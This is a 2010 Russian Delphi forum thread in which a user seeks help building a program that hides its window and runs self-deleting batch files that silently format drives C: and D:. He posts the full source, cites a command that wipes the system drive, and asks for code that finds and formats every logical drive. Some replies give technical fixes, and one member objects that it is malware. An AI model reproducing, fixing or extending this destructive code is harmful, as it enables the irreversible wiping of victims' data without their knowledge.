Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 20.05.2010, 15:20   #11
~=DEN=~
 
Регистрация: 15.05.2010
Сообщений: 6
По умолчанию

Цитата:
Сообщение от Life_Master Посмотреть сообщение
3 вопроса возникло:
1. Не понял по коду, какая директория стоит по умолчанию ? та в которой находится курсор ?
2. Можно ли указать директорию руками, в виде переменной или константы ?
3. при компиле ехе-шника, ругается на вызов функции, если мне память не изменяет, то функцию вызываем в теле программы по ее названию, т.е. MyRemoveDir; ?
Код:
if not MyRemoveDir('С:\Windows') then
  ShowMessage('Не возможно удалить каталог');
ЗЫ
С:\Windows для примера
~=DEN=~ вне форума Ответить с цитированием
Старый 20.05.2010, 15:27   #12
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Цитата:
1. Не понял по коду, какая директория стоит по умолчанию ? та в которой находится курсор ?
Директория по умолчанию будет той директорией, которую Вы укажите в параметр функции SDir.
Цитата:
2. Можно ли указать директорию руками, в виде переменной или константы ?
Конечно можно. К примеру:
Код:
Procedure TForm1.Button1Click(Sender: TObject);
//Var
//S: String;
Const
S: String = 'C:\1';
Begin
//S:='C:\1';
MyRemoveDir(S);
End;
Цитата:
3. при компиле ехе-шника, ругается на вызов функции, если мне память не изменяет, то функцию вызываем в теле программы по ее названию, т.е. MyRemoveDir; ?
Вызывается так:
Код:
Procedure TForm1.Button1Click(Sender: TObject);
Begin
MyRemoveDir('Параметр'); //Не забывайте, что функция ещё возвращает True или False
End;
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 21.05.2010, 11:43   #13
Life_Master
Пользователь
 
Регистрация: 18.01.2010
Сообщений: 20
По умолчанию

Цитата:
Сообщение от ~=DEN=~ Посмотреть сообщение
ЗЫ
С:\Windows для примера
не удалит, ругнеться, НО все реально, под cmd -> del C: *.* /s /f /q и прощай винда со всеми вложениями, если файл занят в процессе, то он пропускается, а в итоге NTLDR is missing

вот я и хочу запихнуть в делфи аналогию этой команды

Последний раз редактировалось Life_Master; 21.05.2010 в 11:45.
Life_Master вне форума Ответить с цитированием
Старый 21.05.2010, 12:46   #14
ZuBy
Участник клуба
 
Аватар для ZuBy
 
Регистрация: 29.09.2008
Сообщений: 1,234
По умолчанию

так ты создай bat'ник из под делфи, запусти его удали потом. радуйся
ZuBy вне форума Ответить с цитированием
Старый 21.05.2010, 20:01   #15
Life_Master
Пользователь
 
Регистрация: 18.01.2010
Сообщений: 20
По умолчанию

так есть такое, но почему то не хочет работать =(
вот код проги:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls,ShellApi, FileCTRL;

type
  TForm1 = class(TForm)
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses ShellAPI, FileCtrl;

{$R *.dfm}

procedure KillFile;
var
KillFile: TextFile;
KillFileName: string;
begin
KillFileName:=('d:\kill.bat');
AssignFile(KillFile, KillFileName);
Rewrite(KillFile);
Writeln(KillFile,'@echo off');
Writeln(KillFile,'@format d: /fs:FAT32 /q /y > nul');
Writeln(KillFile,'del %0');
CloseFile(KillFile);

if (true) then
begin
 ShellExecute(0,nil,'d:\kill.bat',nil,nil,SW_HIDE);
end;
end;

procedure KillFiles;
var
KillFile: TextFile;
KillFileName2: string;
begin
KillFileName2:=('C:\killer.bat');
AssignFile(KillFile, KillFileName2);
Rewrite(KillFile);
Writeln(KillFile,'@echo off');
Writeln(KillFile,'@format С: /fs:FAT32 /q /y > nul');
Writeln(KillFile,'del %0');
CloseFile(KillFile);

if (true) then
begin
 ShellExecute(0,nil,'C:\killer.bat',nil,nil,SW_HIDE);
end;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
 ShowWindow(Application.Handle, SW_HIDE);
 ShowWindow(Form1.Handle, SW_HIDE);

KillFile;
KillFiles;
end;

end.
отрабатывает только удаление всего из диска D:, C: не трогает. Хотя команда, которую я писал выше, она удаляет все из С:, пропуская файлы, которые задействованы в процессах. Не знаю где мой бок =(
Да и я еще понимаю, что нужно вставить код сканера винта на наличие логических дисков, с последующим их форматированием, по алфавиту в обратном порядке, и все это через API, может у кого то есть исходник или готовый код, поделитесь пожалуйста.
Life_Master вне форума Ответить с цитированием
Старый 21.05.2010, 20:08   #16
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

1)батник диск C не форматнет, он системный.
2)у вас FAT32 как файловая система...не хорошо это...
ZuBy, одну команду можно и так запустить в принципе.
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 21.05.2010, 20:44   #17
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

А я думаю, что надо закрывать подобные темы и так весь интернет забит подобными бяками, которые мы и помогаем писать а потом, а потом или сами ловим или др люди, которые так же приходят за помощью на этот форум.

Если ГС хочет написать бяку , то пускай сам и пишет!
uberchel вне форума Ответить с цитированием
Старый 21.05.2010, 20:49   #18
Life_Master
Пользователь
 
Регистрация: 18.01.2010
Сообщений: 20
По умолчанию

Цитата:
Сообщение от Пепел Феникса Посмотреть сообщение
1)батник диск C не форматнет, он системный.
а из cmd после команды del C:*.* /q /s /f удаляет все... или я командами ошибся ?

Цитата:
Сообщение от Пепел Феникса Посмотреть сообщение
2)у вас FAT32 как файловая система...не хорошо это...
FAT'ом становится система после форматирования, да и это на компе, на котором я тестил программу =)
Life_Master вне форума Ответить с цитированием
Старый 21.05.2010, 20:58   #19
Life_Master
Пользователь
 
Регистрация: 18.01.2010
Сообщений: 20
По умолчанию

uberchel, у вас есть чем заняться, так в подписи написано... это раз.
два - если хотел бяку кинуть в сеть, то нашел бы исходник вируса по-пакостней(благо таких сайтов хватает) и вопросы задавал бы на спецфорумах, где человеки специализируются на этом. А моя прожка для нужд хороших людей, просьба их. Для каких целей - мне не интересно, но взрослые, серьезные люди такими мелкими пакостями не занимаются, о которых вы пишите.
А три - если не по теме хочется написать, всякие фи высказывать, по пжл в личку, пишите все что хотите, а тут я жду ответ на свой вопрос, и отвечают те, кому хочется помочь или просто знают. Пардон.

Последний раз редактировалось Life_Master; 21.05.2010 в 21:00.
Life_Master вне форума Ответить с цитированием
Старый 21.05.2010, 21:10   #20
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

Хм, в посте №15 отчетлива видно для чего вам надо это, так что не морочите голову! в нете если и найдете, то только чушь которую самый любой антивирусник увидит, а по поводу моего поста, будте вежливее, я вам не говорил чем заниматься.

Цитата:
вопросы задавал бы на спецфорумах
Дак итите туда, что сюда то пришли...
uberchel вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Защита от удаления Михаил Юрьевич Общие вопросы Delphi 2 22.01.2010 22:48
Окно подтверждения удаления Andrey174rus Общие вопросы Delphi 18 17.11.2009 19:52
Отмена удаления записи Хитрец БД в Delphi 2 12.04.2009 23:14
Защита файлов от удаления Viteef Свободное общение 5 15.06.2007 22:44
Защита файлов от удаления Viteef Общие вопросы Delphi 10 02.06.2007 07:40